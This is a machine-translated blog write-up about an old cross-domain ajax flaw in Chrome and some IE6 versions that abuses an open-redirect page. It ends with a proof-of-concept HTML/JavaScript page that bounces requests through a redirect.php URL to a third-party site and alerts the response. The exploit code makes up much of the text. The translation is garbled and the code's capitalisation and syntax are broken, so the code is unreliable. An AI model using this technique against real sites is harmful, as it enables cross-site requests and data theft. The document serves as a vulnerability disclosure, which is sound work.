By emptiness
When using ajax, the Chrome browser can submit data across domains (but cannot read the returned data) through the combination of the url forwarding vulnerability ).
Some versions of IE6 (I don't know what version it is, and it is successful at home and in an Internet cafe) can also be submitted and read across domains after the user clicks "OK.
Cross-origin can only be obtained through url-based forwarding.
The following figure shows the data process:
First, request the page redirect. php with the URL forwarding vulnerability. This page returns "location:Www.target.com".
So the browser requested againWww.target.com.
Here, FF, IE7 and later versions, as well as some versions without the vulnerability in IE6, are prone to permission errors.
Chrome vulnerabilities:
After ajax receives a 302 jump, Chrome willWww.target.comSend a get request packet, andWww.target.comThe data is returned.
Unfortunately, xmlhttp in js cannot read the returned data. Otherwise, the vulnerability becomes larger.
Is the data packet obtained by paros:
-----------------------------------------
Some versions of IE6 have vulnerabilities:
However, some versions of IE6 can read data across domains after confirmation by the user:
Users usually click OK.
After clicking OK, alert generates the information captured by sohu.
The following code is used:
XML/HTML code
- <! Doctype html public "-// W3C // dtd html 4.0 Transitional // EN">
- <! -- Saved from url = (0046) http://www.inbreak.net/kxlzxtest/haha/ajax.htm -->
- <HTML><HEAD>
- <META Http-equiv=Content-TypeContent="Text/html; charset = gb2312">
- <META Content="MSHTML 6.00.6000.16825" Name=GENERATOR></HEAD>
- <BODY>
- <DIV Id=Divid Height="600" Width="600" Name="Divid"><INPUT Onclick=DoMyAjax()Type=Button Value=Aaa> </DIV>
- <SCRIPT>
- Var xmlHttp;
- Var tmpdiv;
- Function createXMLHttp (){
- If (window. XMLHttpRequest ){
- XmlHttp=NewXMLHttpRequest ();
- }
- Else if (window. ActiveXObject ){
- XmlHttp=NewActiveXObject ("Microsoft. XMLHTTP ");
- }
- }
- Function startRequest (doUrl ){
- CreateXMLHttp ();
- XmlHttp. open ("GET", doUrl, false );
-
- XmlHttp. send (null );
- SetTimeout ("alert (xmlHttp. responseText)", 3000 );
- }
- Function doMyAjax ()
- {
- VarTime=Math. Random ();
- VarStrPer=Http://www.inbreak.net/kxlzxtest/haha/redirect.php? Done = http://www.sohu.com+ String. fromCharCode (38) +Time= + Time;
- StartRequest (strPer );
-
- }
-
- </SCRIPT>
- </BODY>